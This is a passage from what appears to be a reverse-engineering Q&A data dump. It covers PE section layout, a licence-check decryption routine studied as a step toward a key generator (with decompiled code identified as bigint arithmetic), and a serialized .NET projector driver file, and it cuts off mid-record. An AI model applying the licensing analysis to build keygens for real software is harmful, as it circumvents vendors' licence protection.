Okay so basically, it's convenient to have as few sections as possible because each section must start on a new physical page, so you could waste a few KiB of physical memory here and there. Also, it takes up more kernel memory with more subsection objects required and more subsections to set up means more code to execute so the load time will be marginally longer. The import table must be in a read only section but doesn't need to be in a section of its own because it's accessed using a pointer in the PE header. It needs to be read only because otherwise the user code could modify the IAT and hijack calls to gadgets in the code or injected dlls. As for the loader, it needs to modify the IAT itself. This means it momentarily needs to change the PTEs from read only to COW, write to it which causes new physical pages to be allocated as read/write, and once its done, write protect those allocated pages and hence the PTEs. Similarly, .pdata is sometimes its own section, but it does not need to be and can be included in any read only section, so long as the exception directory RVA is in the optional PE header.

\n" }, { "Id": "6945", "CreationDate": "2015-01-03T03:42:35.620", "Body": "

I'm trying to identify a decryption scheme used by some licencing mechanism. It took me some time to realize that this was encryption and this is some kind of follow up to this other question of mine : Create key generator algorithm from validation algo

\n\n

I did some homework and it seems to me that the key characteristics of this decryption are the following:

\n\n

1-The input is base64 decoded first (with some non standard key tables, but the algo is quite identical)
\n2-It is decrypted with a key of the same length as the input. This might be a one time pad or simply a very long key for very short data (both are 512 bits)
\n3-Most importantly and what baffles me is that the decryption algo uses NO xor. Every cipher I've seen use XOR at some point in the decryption but there simply is none here.

\n\n

Point 3 is what I really don't understand here. I fail to see how to generate data that can be decrypted without XOR. Using bitshifting and AND/OR masking seems to lose a lot of information during the process.

\n\n

Are there any known ciphers which match those characteristics?

\n\n

Edit :

\n\n

Ok here is some deeper description of the algo :

\n\n

There is one function that is called multiple times. It first creates 2 tables with the data and the decryption key. The second one is based on the first one.

\n\n

This function first creates a table with the data and then processes that data with the decryption key in another table.

\n\n

The table created from the data is made by manipulating each 32 bits blocks (master block) from the data with the entire data with additions so that it yields a single unsigned int for each of the 16 32 bit blocks. The call for this looks like this

\n\n
hash_block(&result1, &result2, current_master_block, data_array[i]);\n
\n\n

hash_block looks like this :

\n\n
void hash_block(int *result1, int *result2, unsigned int pMaster_block, unsigned int pCurrent_block)\n{\n    int current_block;\n    unsigned int current_high_short;\n    int master_high_times_master; \n    unsigned int master_high_master_short;\n    int master_high_times_current;\n    unsigned int sum_of_mixes;\n\n    current_block = (unsigned __int16)pCurrent_block;\n\n    current_high_short = pCurrent_block >> 16;\n    master_high_times_master = HIWORD(pCurrent_block) * (unsigned __int16)pMaster_block;\n    master_high_master_short = pMaster_block >> 16;\n    *(_DWORD *)result1 = current_block * (unsigned __int16)pMaster_block;\n    master_high_times_current = current_block * HIWORD(pMaster_block);\n    sum_of_mixes = master_high_times_current + master_high_times_master;\n    *(_DWORD *)(result2) = (unsigned __int16)current_high_short * (unsigned __int16)master_high_master_short;\n    if ( master_high_times_current > sum_of_mixes )\n        *(_DWORD *)(result2) += 65536;\n    *(_DWORD *)result1 += sum_of_mixes << 16;\n    if ( sum_of_mixes << 16 > *(_DWORD *)result1 )\n        ++*(_DWORD *)(result2);\n    *(_DWORD *)(result2) += sum_of_mixes >> 16;\n}\n
\n\n

I'm currently cleaning up the code a bit, I'll follow up with more information on how the second part of the algo works

\n\n

EDIT 2 :

\n\n

There is also a very complex function that I can't make sense of which is run 248 times in this function :

\n\n
void __fastcall sub_4D5AC0(int* result, int* serial_copy, unsigned int last_keyitem)\n{\n  unsigned int v3; // edi@1\n  unsigned int v4; // edi@2\n  int v5; // eax@4\n  int v6; // eax@7\n  unsigned int v7; // eax@11\n  //int return_value; // ecx@25\n  int* v10; // [sp+0h] [bp-24h]@1\n  unsigned int v11; // [sp+4h] [bp-20h]@4\n  int v12; // [sp+4h] [bp-20h]@16\n  unsigned __int64 v13; // [sp+4h] [bp-20h]@18\n  int v14; // [sp+8h] [bp-1Ch]@1\n  unsigned int v15; // [sp+8h] [bp-1Ch]@6\n  unsigned int v16; // [sp+10h] [bp-14h]@16\n\n  v3 = *(serial_copy + 1);\n  v14 = *(serial_copy + 1);\n  if ( HIWORD(last_keyitem) == -1 )\n    v4 = v3 >> 16;\n  else\n    v4 = v3 / ((unsigned int)HIWORD(last_keyitem) + 1);\n  v5 = (unsigned __int16)last_keyitem * (unsigned __int16)v4 << 16;\n  v11 = *serial_copy - v5;\n  //if ( -1 - v5 < v11 )\n  if ( ~v5 < v11 )\n    --v14;\n  v15 = v14 - ((unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v4 >> 16) - HIWORD(last_keyitem) * (unsigned __int16)v4;\n  while ( 1 )\n  {\n    if ( HIWORD(last_keyitem) >= v15 )\n    {\n      v7 = HIWORD(last_keyitem);\n      if ( HIWORD(last_keyitem) != v15 )\n        break;\n      v7 = (unsigned __int16)last_keyitem << 16;\n      if ( v7 > v11 )\n        break;\n    }\n    v6 = (unsigned __int16)last_keyitem << 16;\n    v11 -= v6;\n    if ( -1 - v6 < v11 )\n      --v15;\n    v15 -= HIWORD(last_keyitem);\n    ++v4;\n  }\n  if ( HIWORD(last_keyitem) == -1 ){\n    //LOWORD(v7) = v15;\n    v7 &= 0xFFFF0000;\n    v7 |= v15 & 0xFFFF;\n  }else{\n    v7 = ((v11 >> 16) + (v15 << 16)) / ((unsigned int)HIWORD(last_keyitem) + 1);\n  }\n  v16 = HIWORD(last_keyitem) * (unsigned __int16)v7;\n  v12 = v11 - (unsigned __int16)last_keyitem * (unsigned __int16)v7;\n  if ( v12 > -1 - (unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v7 )\n    --v15;\n  //LODWORD(v13) = v12 - (v16 << 16);\n  v13 &= 0xFFFFFFFF00000000;\n  v13 |= (v12 - (v16 << 16)) & 0xFFFFFFFF;\n  if ( -1 - (v16 << 16) < (unsigned int)v13 )\n    --v15;\n  // HIDWORD\n  v13 &= 0x00000000FFFFFFFF;\n  v13 |= (v15 - (v16 >> 16)) & 0xFFFFFFFF00000000;\n  while ( last_keyitem <= v13 )\n  {\n      v13 &= 0xFFFF0000;\n      v13 |= (v13 - last_keyitem) & 0xFFFF;\n    //LODWORD(v13) = v13 - a3;\n    v13 = (v13 - last_keyitem) & 0xFFFF;\n    if ( (unsigned int)v13 > -1 - last_keyitem ){\n      //--HIDWORD(v13);\n        unsigned __int64 high_word = v13 & 0xFFFFFFFF00000000;\n        high_word++;\n        v13 &= 0x00000000FFFFFFFF;\n        v13 |= high_word;\n    }\n    ++v7;\n  }\n  *result = (unsigned __int16)v7 + ((unsigned __int16)v4 << 16);\n}\n
\n", "Title": "Identify a decryption scheme", "Tags": "|disassembly|encryption|", "Answer": "

The first function (the one at .text:004D5A40) computes the 64-bit product of two 32-bit unsigned operands and stores the result through EAX. It is probably some half-assed 16-bit code recompiled with a half-assed 32-bit compiler...

\n\n

For a quick test you can paste the disassembly into an __asm block to make it recompilable. Then you can make a call stub to aid experimentation:

\n\n
__declspec(naked)\nvoid sub_4D5A40 ()\n{\n   __asm\n   {\n/*4D5A40*/                 push    ebx\n... BIG SNIP ...\n/*4D5ABE*/                 pop     ebx\n/*4D5ABF*/                 retn\n   }\n}\n\n__declspec(noinline)\nuint64_t halfassed_mul (uint32_t multiplicand, uint32_t multiplier)\n{\n   uint64_t result;\n\n   __asm\n   {\n      mov   ecx, multiplicand\n      mov   edx, multiplier\n      lea   eax, result\n\n      call sub_4D5A40\n   }\n\n   return result;\n}\n
\n\n

That way you can easily compare/verify the result against the 64-bit product of the parameters.

\n\n

Note: the listing won't compile unless you change the stack variable references to word ptr [esp]. If you forget the word qualifier then the compiler will assume byte-sized access, and this will b0rken things.

\n\n

The compiler used for your target is so poor that Hex-Rays obviously cannot make much sense of the code... You may have more success if you recompile the decompiler output for selected functions with a decent compiler and full optimisation, in order to remove as much redundancy as possible (don't forget __declspec(noinline)). If you decompile that then things should be a lot clearer.

\n\n

Browse a couple of the bigint-related topics on Stack Overflow and Code Review to refresh your memory on what bigint code looks like where the rubber meets the road, especially the contest-related topics where people have to reinvent the wheel instead of just calling some bigint library. For example the topic Sum of digits in a^b. That should make it much easier to recognise related patterns in the code.

\n\n

Update: I tackled sub_4D5AC0 because I wanted to know what mysterious calculation it performs, but trying to understand the code made my head swim, even after I removed a lot of redundant instructions. So I decided to give it the black box treatment, on the assumption that it performs some basic arithmetic computation. The elementary operations of the code indicated division, in a rather convoluted way. Combined with the signature (64-bit op 32-bit, with 32-bit result), the only op that fitted was MOD. So I pasted the code into an .asm, which compiled without a hitch (kudos to IDA!), made a call stub and fed some inputs into the black box. It turns out that the function divides a 64-bit integer at *EDX by ECX and stores the lower 32 bits of the quotient through EAX.

\n\n

When I wrote a test to verify the function output for some random inputs I typed 1000000000 for the loop count as usual. Biiig mistake, since 1000 calls take about a second already...

\n" }, { "Id": "6951", "CreationDate": "2015-01-04T10:00:54.253", "Body": "

I have a file that I am trying understand its structure and format. It's a proprietary driver file of a control system for NEC LT380 projector which contain essential information such as TCP port number and available commands that the projector accepts such us power on/off, switch inputs and aspect ratio etc.

\n\n

I did a few tests on the file and able to determine a few things:

\n\n
    \n
  1. Here's the content of the file: http://codepad.org/0pzGkLgT (you need to save the content into a file then open it using gzip software)
    2. \n
  2. I was able to determine that the file is gzipped and upon extraction, the zip contains a single file without extension.
    3. \n
  3. Here's the content of the extracted file: http://codepad.org/yvuceZcD (to read this, open using hex viewer)
    4. \n
  4. Online TrID File Identifier seems to identify the extracted file as ABR or Adobe Photoshop Brush which of course is incorrect.
    5. \n
  5. Then I opened the extracted file using text editor, it just show a bunch of hex strings.
    6. \n
  6. Which led me to open the hex file in HexEdit. This time, I am able to see some human readable syntaxes and code.
    7. \n

  7. The beginning and end of file contains some unreadable strings and some syntaxes such as \"Culture=neutral, PublicKeyToken=null\". These syntaxes seemed to suggest its .NET related but exactly what kind of .NET file I am not so sure. In the middle portion of the file, there's a bunch of code that with further investigation seemed like python code. Example:

    \n\n

    def ReadAspectRatio(self, qualifier, context):

    8. \n

  8. Also, on the same file, I found some tags:**<</Type/Catalog/Pages 2 0 R/Lang(en-US) >>** which is often found in a PDF file. Using PDF repair tool, I was able to recover and rebuild the streams of this file into a proper PDF file which contains a few pages of the projector commands and port information.

    9. \n
\n\n

Questions:

\n\n
    \n
  1. Do you have a way to determine what kind of file is this? Or what has been done to this file since there seems to be 3 different things inside that one file: .NET stuff (maybe manifest file or reference to .NET assembly), python code that does the set/read/write command to device and lastly PDF stream. Was there obfuscation or file joining method or hashes done on that beginning and end of file?
    2. \n
  2. I am looking to recreate and emulate the file. Currently, if I just open that extracted file, edit the middle portion of the file by adding some simple extra options/commands in proper python code, save it and gzip it back, it doesn't work.
    3. \n
\n\n

Thanks!

\n", "Title": "Determine encrypted/hashed/compressed proprietary driver file", "Tags": "|driver|", "Answer": "

The file appears to be a binary-serialized .NET file (similar in concept to a Python pickle or a Java serialized stream), and does not appear to be obfuscated in any way. I manually parsed the first few records using the reference from Microsoft's stream format specification, and the format checks out. The file stores a single object of type \"Extron.Configuration.Drivers.DriverFileAsset\", with 18 class members of varying types.

\n\n

I guessed this format based on the fact that it contains .NET class library identifiers in the header, then verified the guess by checking the file format spec.

\n\n

I hacked together a parser for this format, though it is incomplete. The dump of the file looks like this:

\n\n
Binary Serialization Format\n@0\n  SerializedStreamHeader(TopId=1, HeaderId=-1, MajorVersion=1, MinorVersion=0)\n@17\n  BinaryLibrary(LibraryId=2, LibraryName='Extron.Configuration.Drivers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@106\n  BinaryLibrary(LibraryId=3, LibraryName='Extron.Configuration.Core, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@192\n  BinaryLibrary(LibraryId=4, LibraryName='Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@283\n  BinaryLibrary(LibraryId=5, LibraryName='WindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35')\n@367\n  ClassWithMembersAndTypes LibraryId=2 ObjectId=1 Name=Extron.Configuration.Drivers.DriverFileAsset:\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _manifest\n          MemberReference(IdRef=6)\n      Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum _packageState\n          ClassWithMembers LibraryId=4 ObjectId=-7 Name=Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum:\n              value__ = 0\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=8)\n      System.Version DriverDescriptorAsset+_fileVersion\n          MemberReference(IdRef=9)\n      System.Version DriverDescriptorAsset+_schemaVersion\n          MemberReference(IdRef=10)\n      System.Version DriverDescriptorAsset+_minAPIVersion\n          MemberReference(IdRef=11)\n      String DriverDescriptorAsset+_manufacturerName\n          BinaryObjectString(ObjectId=12, Value='NEC')\n      String DriverDescriptorAsset+_deviceTypeName\n          BinaryObjectString(ObjectId=13, Value='Video Projector')\n      String DriverDescriptorAsset+_filename\n          BinaryObjectString(ObjectId=14, Value='\\\\\\\\usa-home10\\\\home\\\\wes minner\\\\programming\\\\reviews\\\\nec_1_548 [nec lt280]\\\\finished\\\\nec_1_548_v1_0_0.pkp')\n      Int32 DriverDescriptorAsset+_contentHashCode\n          0\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] DriverDescriptorAsset+_internalChildCollection\n          MemberReference(IdRef=8)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=8)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=16, Value='nec_1_548')\n      String AssetBase+_name\n          MemberReference(IdRef=16)\n      System.Guid AssetBase+_guid\n          SystemClassWithMembers ObjectId=-17 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset\n          ObjectNull()\n@2396\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=6 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=18)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          ObjectNull()\n      String AssetBase+_name\n          ObjectNull()\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-19 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset\n          ObjectNull()\n@3412\n  ClassWithMembers LibraryId=5 ObjectId=8 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@3653\n  SystemClassWithMembers ObjectId=9 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3724\n  ClassWithId ObjectId=10 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3749\n  ClassWithId ObjectId=11 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3774\n  ClassWithMembers LibraryId=5 ObjectId=18 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=22)\n      Collection`1+items = MemberReference(IdRef=23)\n@4023\n  ClassWithMembers LibraryId=5 ObjectId=20 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _busyCount = 0\n@4255\n  SystemClassWithMembers ObjectId=21 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _items = MemberReference(IdRef=24)\n      _size = 6\n      _version = 6\n@4469\n  ClassWithMembers LibraryId=5 ObjectId=22 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _busyCount = 0\n@4709\n  SystemClassWithMembers ObjectId=23 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _items = MemberReference(IdRef=25)\n      _size = 2\n      _version = 2\n@4931\n  BinaryArray(ObjectId=24, BinaryArrayTypeEnum=<BinaryArrayType.Single: 0>, Rank=1, Lengths=(8,), LowerBounds=None, TypeEnum=<BinaryType.Class: 4>, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IAsset', LibraryId=4))\n      MemberReference(IdRef=26)\n      MemberReference(IdRef=27)\n      MemberReference(IdRef=28)\n      MemberReference(IdRef=29)\n      MemberReference(IdRef=30)\n      MemberReference(IdRef=31)\n      ObjectNullMultiple256(NullCount=2)\n@5027\n  BinaryArray(ObjectId=25, BinaryArrayTypeEnum=<BinaryArrayType.Single: 0>, Rank=1, Lengths=(4,), LowerBounds=None, TypeEnum=<BinaryType.Class: 4>, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IResourceAsset', LibraryId=4))\n      MemberReference(IdRef=32)\n      MemberReference(IdRef=33)\n      ObjectNullMultiple256(NullCount=2)\n@5111\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=26 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:\n      DateTime _date\n          2014-08-01 02:08:28.537000\n      String _author\n          BinaryObjectString(ObjectId=34, Value='ngupta')\n      System.Version _version\n          MemberReference(IdRef=35)\n      String _notes\n          BinaryObjectString(ObjectId=36, Value='')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=37)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=37)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=38, Value='Creation')\n      String AssetBase+_name\n          MemberReference(IdRef=38)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-39 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@6090\n  ClassWithId ObjectId=27 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:\n      DateTime _date\n          2014-08-01 02:08:28.537000\n      String _author\n          BinaryObjectString(ObjectId=34, Value='ngupta')\n      System.Version _version\n          MemberReference(IdRef=35)\n      String _notes\n          BinaryObjectString(ObjectId=36, Value='')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=37)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=37)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=38, Value='Creation')\n      String AssetBase+_name\n          MemberReference(IdRef=38)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-39 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@6195\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=28 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=48)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=49, Value='DriverCommands')\n      String AssetBase+_name\n          MemberReference(IdRef=49)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-50 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@7264\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=29 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=52)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=53, Value='SupportedProtocols')\n      String AssetBase+_name\n          MemberReference(IdRef=53)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-54 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@8331\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=30 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=56)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=57, Value='SupportedModels')\n      String AssetBase+_name\n          MemberReference(IdRef=57)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-58 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@9397\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=31 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=60)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=61, Value='DriverParams')\n      String AssetBase+_name\n          MemberReference(IdRef=61)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-62 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@10454\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=32 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=64)\n      String ResourceAssetBase+_key\n          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')\n      Object ResourceAssetBase+_content\n          MemberReference(IdRef=66)\n      Object ResourceAssetBase+_tag\n          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      String AssetBase+_defaultName\n          